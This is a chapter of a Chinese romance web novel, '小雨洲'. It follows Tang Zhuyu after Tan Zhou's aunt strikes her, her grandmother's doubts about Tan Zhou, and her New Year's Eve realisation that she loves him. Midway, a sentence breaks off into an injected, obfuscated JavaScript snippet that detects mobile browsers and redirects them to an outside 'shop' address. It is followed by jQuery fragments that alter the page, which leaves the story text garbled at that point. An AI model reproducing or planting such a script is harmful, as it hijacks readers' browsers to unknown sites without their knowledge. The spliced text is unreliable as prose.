67. 喜欢
作品:《小雨洲》 “不用,你走吧,我一个人回去就行。”
谈洲却摇头:“我跟你一起。”
汤竹雨的脸现在还红肿着,而且还不是下班的点回家,足以被不知道实情的外婆和杜蓉联想很多很多内容,要是谈洲再进去……
简直难以想象。
汤竹雨知道谈洲这是想陪着她,把责任拦到自己的身上,可是之前外婆就不是很想让谈洲跟她在一起,要是知道了这事会怎么想?
她的手捏在门把上,迟迟不肯把钥匙插进去,谈洲低头轻轻看她的脸,她没看着他,垂着眼睛不知道在想什么。
谈洲的手直接覆在她的手上,把钥匙插进去,汤竹雨的身后就是谈洲宽阔的胸膛,她想反抗,但是没有挣扎,钥匙转动了两圈,然后跟着他们的力道打开。
这个时候外婆和杜蓉大概在做午饭?还是吃完饭之后看电视?但就在她还想着的时候,眼前就出现了外婆和杜蓉的脸,杜蓉还拎着一个帆布袋,看起来是要一起出去买菜。
但他们见面得毫无防备,而且汤竹雨心里本来就揣着事,猛然一见被吓了一跳,杜蓉也被这俩货吓死了,惊呼了一声,然后就看见了汤竹雨左边高高肿着的脸。
她捧起汤竹雨的小脸蛋:“我靠,你这怎么回事啊?”
杜蓉见汤竹雨不说话,又瞥向旁边的谈洲,汤竹雨赶紧把谈洲拉住自己的后面,主动解释:“不是……跟他没关系,是,是我……是我跟一个客人有点冲突,所以……”
她半句话不提舅妈,就是不想牵扯上谈洲,这种事连小雨都知道,如果外婆和朋友知道她是为了自己家里的事而出头,一定会‘迁怒’于他,不对,不能说迁怒,对他有怨气是应该的。
如果在一起了,他为什么不能好好保护她不让她被自己家里那些破事伤害?如果没有在一起,他们就仅仅只是朋友而已,她为什么要因为他家的事被打?
说来说去,其实都是他的错。
谈洲握住了小雨的手,干燥的掌心传递了不少温度,他主动解释:“是我舅妈来了,对不起,我没拦住。”
汤竹雨虽然那么说了,但她知道谈洲还是会说出来,她有点忐忑,不知道她们会怎么想,继续补充:“谈洲当时出去了,不在哪里,谁也没想到会这样。”
谈洲家的事杜蓉不知道,但外婆却知道很多,他俩这么一说,她大概就知道发生什么事了。
外婆心疼得摸了摸汤竹雨的脸蛋,上面虽然红红的,但凉凉的,还有点水,应该是拿冰袋敷过了,她又拍拍谈洲的肩膀:“进来说话吧,外面多冷啊。”
两个人这才进门,汤竹雨坐在外婆杜蓉中间,杜蓉心疼地捏着她的脸看来看去,谈洲就在一边跟外婆解释来龙去脉。
他说的不多,就是把关于汤竹雨的事都说了,但自己的事一点也没提,汤竹雨想说,但又不知道该怎么说,毕竟这是谈洲的家事,她一个外人多嘴好像不是很好。
说完了,谈洲再度道歉,外婆拉着他的手,拍了拍:“好孩子,外婆知道这跟你没关系,别怪自己,你也不容易,外婆都知道。”
“哪有人能时时刻刻都跟在别人身边的,你不用自责,过几天就好了,要是换我在哪儿,我也会替你说话的。”
只是简简单单几句话,谈洲却很难过,不只是因为外婆没有怪他,更是因为那句‘时时刻刻跟在别人身边’,也是,他没办法保证小雨能完全不受舅舅舅妈的干扰,他的确不是一个好女婿的人选。
中午,谈洲本来说有事,但外婆非要拉着他留下来吃午饭,谈洲拒绝不了,于是买菜的任务自然而然地落在了外婆和谈洲身上。
汤竹雨和杜蓉留在家里,杜蓉盯着她的脸,左瞧瞧右瞧瞧,然后狠狠感叹了一声:“你都多大了?说就让她说几句呗,非得跟人呛,人家家里的事跟你有啥关系?”
汤竹雨揉揉脸,垂着脑袋不说话,杜蓉知道她在犟,叹了一口气,把她的脸捏过来:“那你这嘴又是怎么回事?跟他亲嘴了?”
汤竹雨有点惊讶地看着她,甚至可以说惊恐,捂着嘴:“我……我没有……”
杜蓉一脸嫌弃地看着她:“我又不瞎,你俩的嘴肿的得跟个香肠一样,明眼人一看就能看出来吧?”
明眼人一看就看出来了?那外婆不会也猜到了?
看她这幅表情杜蓉就知道这俩肯定亲了,想想上次说起谈洲的时候,汤竹雨也就只是说不合适,以后要离开,并没有说不喜欢他,而且从上次到现在,他俩之间都蔓延着一股恋恋不舍的黏糊味。
但说实话,杜蓉还是不怎么喜欢谈洲,谈洲确实对她很照顾,但是今天这事,在她心里毫无疑问地把之前所有的事全拉平了,也许是她先入为主,她总是觉得谈洲跟汤竹雨不是很合适。
“那你现在怎么想的?你不是要回去吗?”
汤竹雨握着她的小臂,听她说这话又开始落寞:“我知道我是要去京北的,但是我就是不想听别人说他,他已经很不容易了……”
哎,哎!心疼男人就是倒霉的开始啊,杜蓉摇晃她的肩膀:“他不容易你就容易了?汤汤啊,你知道这个世界有多少男人吗?亲嘴就算了,但千万别在一个歪脖子树上吊死好吗?”
汤竹雨却直接反驳她:“谈洲不是歪脖子树……”
而且有些人错过了就不能遇见了。
但她没说后半句,可是也足以让杜蓉无语了,她无奈扶额:“看看你这鸡妈妈护小崽的样子,那你现在是真爱上了?”
汤竹雨又不说话了,杜蓉实在不知道她心里怎么想的,问又问不出来,就只能拉着她去冰柜里拿冰棍敷脸。
谈洲既然来了,当然不会让外婆和汤竹雨做饭,他的手艺还是一如既往地好,只是谁都没心思吃。
隔天一大早,谈洲就敲响了汤竹雨的家门,他穿戴整齐,衣服上还落着雪,浑身上下一股凉气,一看就是大清早的就出门了。
他拎着一袋冰袋和早饭,还拿了一条干的白色毛巾:“小雨,最近你就在家里休息吧,马上过年了,那里也不是很忙,之后的事就等年后再说。”
谈洲做事还是如想象中的妥帖,可是不知道为什么,汤竹雨心里总是有点酸酸的。
两个人简单告别,汤竹雨一回头就看见了坐在沙发上的外婆,外婆看着汤竹雨提着的袋子,只是跟她说先把东西放下。
她心里有种隐隐不安的感觉,点头应下,然后把冰袋放进冰箱里。
她又从拿了一个毛毯,盖到外婆身上,外婆拉着她的手,让汤竹雨坐到她旁边。
“乖乖啊,外婆想问问你,你现在跟小洲是什么情况?”
汤竹雨说不出来,因为自从那一个吻之后,两人默契的谁都没提,她垂下脑袋,摇摇头。
外婆拍了拍她的手背,慢悠悠地叹气:“其实外婆没想过你们会在一起,说实话,一开始我挺惊讶的,而且不是很赞成。小洲是个好孩子,我只是觉得你们不合适。”
汤竹雨摇头,这次却没有沉默:“外婆,你为什么觉得我们不合适?”
外婆拍拍她的手,却没有直接回答她的问题:“我和小洲大概从你上大学的时候就认识了,我当时第一次犯病,还是他带着我去看医生,给我垫医药费,我问他为什么,他说之前认识你,你帮过他,我想,你确实喜欢管那些闲事,所以我没想多。在这之后,他也很照顾我,有什么好事都会想着我,忙得时候还会来帮我干活。”
“他真的是个好孩子,我拿他当亲孙子,只是外婆不知道你们是怎么在一起的,我担心你一个小姑娘受委屈,而且他家庭情况……有点复杂,外婆知道你从小就没什么安全感,还是想让你找个家庭和睦的人。”
外婆说了这么长的话,内容多到足以让汤竹雨处理不过来,之前去医院的时候医生就说过,外婆不是第一次犯病了,可是她当时没有细想。
她没想过,没想过谈洲竟然在她不知道的地方做了这么多,更没想过外婆和谈洲是因为她才相识,可是为什么她完全不记得了?
“但是后来你们在一起了,时间长了,外婆又觉得还行,小洲这个人,稳重成熟,如果互相喜欢的话,我也阻止不了,但是现在分手了,外婆还是想劝劝你好好想想。”
“你以后不会留在这儿,距离远了,肯定会有隔阂,而且你也知道了,知道他家是什么情况,就算他把你护得再好,还是有可能会发生昨天那种事,外婆以后也不催你了,你还年轻,选
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911873|182559||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
择很多,不能只看着这一片地方。”
汤竹雨很难过,她不知道什么时候认识的谈洲,不知道谈洲原来在她在的时候做了这么多事,她知道外婆是为了她好,可是这么说,她还是无法避免地为他难过。
她本以为他们之间隔得是一层薄薄的纸,现在看,他们之间依旧有一道厚厚的墙,只是一个吻而已,他们什么事情都没解决。
汤竹雨又想起来了之前,之前外婆和谈洲在厨房里的谈话,她没参与过的谈话:“外婆,你还记不记得,我和他刚谈恋爱的时候,你把他叫到厨房里跟他说了什么话?”
这话问的有点没头没尾的,但外婆还是仔细想了想。
她当时把谈洲叫到厨房,只是问他们怎么在一起的,他为什么喜欢上汤竹雨了,谈洲当时回答的很认真,而且印象里,这还是他第一次跟她说这么长的话,所以她现在印象尤为深刻。
“外婆,我是真心喜欢小雨的,是我先追求的她,我真的很喜欢她,想把世界上所有最好的东西都给她,我想竭尽所能让她幸福,照顾她一辈子,做对她最好的人,就算她不喜欢我了,我们最后没有在一起,我也没有怨言,绝不会纠缠她。”
他那副模样实在认真极了,认真的让本来还稍微有点怀疑的外婆都打消了念头,是啊,是很认真,认真的让汤竹雨心里一阵发酸,涨得难受。
如果说,谈洲喜欢上她令她惊讶,那谈洲如果在约定之前就喜欢上她了呢?她该作何反应?
她多想劝自己,也许谈洲只是随便说说,这个承诺是假的,可是相处了这么久,她不觉得谈洲是这样的人,他最不擅长撒谎了。
陪着她,跟她说话,帮她解决问题,除了她,谈洲还对那个异性这么好过?他有必要对为了一个刚认识不久的人说这种话吗?
那他到底是什么时候开始喜欢上她的呢?
作为默默喜欢的那个人,他不会觉得辛苦,可是被喜欢的人却觉得不公平,甚至替他难过。
她到底该怎么回应这份感情?
……
过了两三天,大年三十就到了,这段时间谈洲仍然会每天早上给她们送冰袋和早饭,但除此以外,他们再没有多的交流。
杜蓉说是不回家,但耐不住父母天天催,而且大年三十本就是家里团聚的日子,她不回去怎么说都不合适,所以只能不情不愿地回去了。
谈洲给她们送完东西,然后就一整天不见人影,汤竹雨和外婆一起打扫家里、做晚饭,只是心神不宁的。
包饺子的时候,外婆叫了她好几声,她都不反应,直到最后一次,外婆轻轻推了推她。
“想啥呢?”
汤竹雨这才回神,捏了捏手里的饺子皮,然后摇摇头:“没有……我就是想,彭哥他们吃晚饭了没有。”
她说是这样说,但外婆知道她这到底是在想谁,之前跟她说了那么多,看样子她应该是想了不少了,汤竹雨毕竟是个大人了,能自己想明白事,她没再阻止:“那等吃完饭,你去给他们送点饺子吧,大年三十的不吃饺子怎么能行。”
汤竹雨也知道外婆这话什么意思,她心跳得有点快,点点头,也不知道自己在害羞什么,吃完饭,她急匆匆地在保温盒里装了点饺子,跟外婆打完招呼就一溜烟地跑出家门。
小姑娘的青春期来的还挺晚的,以前没见过她这么激动,外婆边感叹边摇头。
下楼的时候,她就像欢快的小鸟一样下楼,只是刚从单元门出来,就看见了这几天一直心心念念的人。
是谈洲,他怎么在这儿?
两个人都没想过会在此时此地相遇,谈洲手里还拿着一堆礼盒,手被冻得通红,不知道他在这儿站了多久。
事实上,谈洲确实很早就来了,只是一直在楼底下站着,他不知道怎么进去。
汤竹雨心疼他,又觉得他有点傻,既然都来了为什么不进去?
如果她没来,他要在这儿等多久?
她不想去想这些有的没的了,有什么用呢?
想来想去,她发现了,她为什么‘分手’的时候难过,为什么这些天跟他疏远心里会发酸,为什么想亲他。
一切的一切,都是因为她喜欢他啊。

